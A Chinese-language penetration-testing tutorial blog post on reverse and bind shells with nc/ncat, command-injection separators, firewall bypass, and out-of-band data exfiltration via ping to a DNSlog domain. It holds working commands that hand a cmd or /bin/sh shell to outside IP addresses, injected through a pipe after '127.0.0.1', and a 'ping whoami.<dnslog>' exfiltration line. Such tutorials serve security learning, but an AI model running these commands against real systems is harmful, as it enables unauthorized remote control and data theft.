首页 > 系统相关 >基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站

基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站

时间:2024-12-24 15:09:44浏览次数:3  
标签:SHELL 正反 0.1 5566 nc ping whoami 连接 显带

image

一、实用案例:反弹Shell命令-解决数据回显&解决数据通讯

命令生成:https://forum.ywhack.com/shell.php
image
环境
image

1.正向连接:本地监听等待对方连接

Linux控制Windows

//绑定CMD到本地5566端口
nc -e cmd -lvp 5566
//主动连接目标5566
ncat 47.122.23.131 5566

image
Windows控制Linux

//绑定SH到本地5566端口
ncat -e /bin/sh -lvp 5566
//主动连接目标5566
nc 47.94.236.117 5566

image

2.反向连接:主动给出去,对方监听

Linux交出控制权Windows连接

//绑定SH到目标5566端口
ncat -e /bin/sh 47.122.23.131 5566
ncat -e /bin/sh 192.168.200.130 5566
127.0.0.1 | c:\nc.exe -e cmd 192.168.200.130 8888
//等待5566连接
nc -lvvp 5566

image
Windows交出控制权Linux连接

//绑定CMD到目标5566端口
nc -e cmd 47.94.236.117 5566
//等待5566连接
ncat -lvvp 5566

image
image

二、实际案例:防火墙绕过-正向连接&反向连接&内网服务器

管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows->| & || &&
Linux->; | || & && (特有`` 和;)是TAB上面的那个键
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 whoami

1、判断windows
2、windows没有自带的nc
3、想办法上传nc 反弹权限
4、反弹

image
image
image
image

开启入站策略,采用反向连接:让windows主动走出来给出权限
Linux:ncat -lvvp 5566
Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566

开启出站策略,采用正向连接
Linux:ncat -e cmd 47.122.23.131 5566
Windows:127.0.0.1 | nc -e cmd -lvvp 5566

三、实际案例:防火墙组合数据不回显-ICMP带外查询Dnslog

Linux系统自带:特殊的执行命令符号
输入:ping whoami.8nxvp1.dnslog.cn
可以看到回显:root

出站入站都开启策略(数据不回显):OSI网络七层
windows:因为由于cmd不能直接执行命令
注意:命令符号中获得的域名前必须有 . 来连接
image
漏洞有,但是数据不回显:
1、反弹shell
2、带外查询

cmd无法执行whoami
用到powershell变量赋值 把whoami执行结果给变量
结果带有“\” 导致ping无法执行
image
powershell
image

为什么开启防火墙后 whoami数据还是可以带外回显?
ping命令走的ICMP协议,而防火墙禁用端口是控制TCP/UDP协议,也就是控制传输层,但是ICMP是网络层,是传输层下层,不受防火墙影响。所以可以使用ping命令将数据带出。
image

参考文章:https://blog.csdn.net/wushangyu32335/article/details/135578134?spm=1001.2014.3001.5502

标签:SHELL,正反,0.1,5566,nc,ping,whoami,连接,显带
From: https://www.cnblogs.com/loveqixin/p/18627590

相关文章

  • 410、基于51单片机的温控电机仿真设计(正反转,加减速,LCD1602,独立按键)
    毕设帮助、开题指导、技术解答(有偿)见文末。目录一、设计功能二、proteus仿真三、原理图四、程序源码五、资料包括一、设计功能单片机读取温度传感器数据,获得温度,根据温度值对电机进行控制:1、设置4个温度值:T1、T2、T3、T4;通过按键修改设定温度2、温度低于T1,电机全......
  • webshell-decryptor:一款使用python tkinter进行GUI开发的Webshell自动解密流量分析工
    免责声明该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。工具介绍webshell-decryptor是一款使用pythontkinter进行GUI开发的Webshell自动解密流量分析工具,可通过获取到的webshell......
  • 【2024最新黑客工具分享】TPscan - 一键ThinkPHP漏洞检测getshell
    0x00工具介绍TPscan是一款基于Python3的ThinkPHP漏洞检测工具。0x01下载链接TPscan下载链接:夸克网盘分享0x02功能介绍thinkphp_checkcode_time_sqli_verifythinkphp_construct_code_exec_verifythinkphp_construct_debug_rce_verifythinkphp_debug_index_......
  • Linux初学者的全面指南(四):shell编程(下)
    目录一、表达式与运算符1.表达式2.运算符  二、流程控制语句1.多命令组合 2.分支结构三、函数 1.定义与调用2.参数3.定义与调用4.返回值 总结一、表达式与运算符1.表达式算术表达式bash自身并不支持简单的数学运算,但可通过awk和expr等命令来实现数学......
  • 使用 PowerShell 脚本为 Cursor 添加右键菜单项
    使用PowerShell脚本为Cursor添加右键菜单项一、日常工作中的效率提升 通过右键菜单快速访问常用程序可以显著提高效率。本文将介绍如何使用PowerShell脚本为Cursor应用程序添加右键菜单项,使你能够方便地在文件、文件夹以及文件夹背景上通过右键菜单直接打开Cursor。......
  • 前端开发必备:这些 Shell 命令你都会用吗?
    在前端开发中,Shell命令是一项提升效率的必备技能。从项目初始化到代码构建、从版本控制到文件操作,熟练使用Shell命令可以显著优化开发流程。本篇文章将为您系统梳理前端开发中常用的Shell命令,帮助您在日常工作中快速上手,提高开发效率。不论您是前端新手还是资深开发者......
  • Shell脚本编程题(八道)
    Shell脚本编程题(八道)第一题1.编程实现从键盘获取一个整数,按下列情况输出对应结果:(1)当该数值为6或7时,输出“休息日(RestDay)”。(2)当该数值为1至5时,输出“工作日(WorkingDay)”。(3)其他情况输出“输入错误(ErrorInput)”#!/bin/shreaddatetimecase"$datatime"in......
  • VM虚拟机安装CentOS操作系统超详细教程(包含配置网卡、使用Xshell远程连接工具)
    1.创建新的虚拟机 2.选择典型配置3.稍后安装操作系统 4.选择Linux、版本为CentOS764位 5.自定义名称和路径 6.设置磁盘大小和选择拆分成多个文件。7.自定义硬件,设置内存大小8.设置处理器的数量9.使用iso镜像文件10.选择NAT模式11.开启建好的虚拟机12.回车......
  • Course overview + the shell
    Courseoverview+theshellShell的实质Shell本是一个类似于Pyhton的编程环境,包括变量、条件、循环、函数...在执行Shell命令时,若不是Shell所规定的关键字时,便会去$PATH中查询,基于名字搜索,搜索到了之后便会执行该程序$PATH:环境变量查看$PATHecho$PATH每一个$PATH环境......
  • Shell Script
    ShellScript赋值操作foo=barecho$foo注意:不要使用空格分开shell将会把foo当作一个程序转义Bash通过使用''和""来定义字符串""会将字符串中的变量转义echo"Stringis$foo"''会将字符串中的变量原样输出echo'Stringis$foo'函数函数内容:创建一个目录并......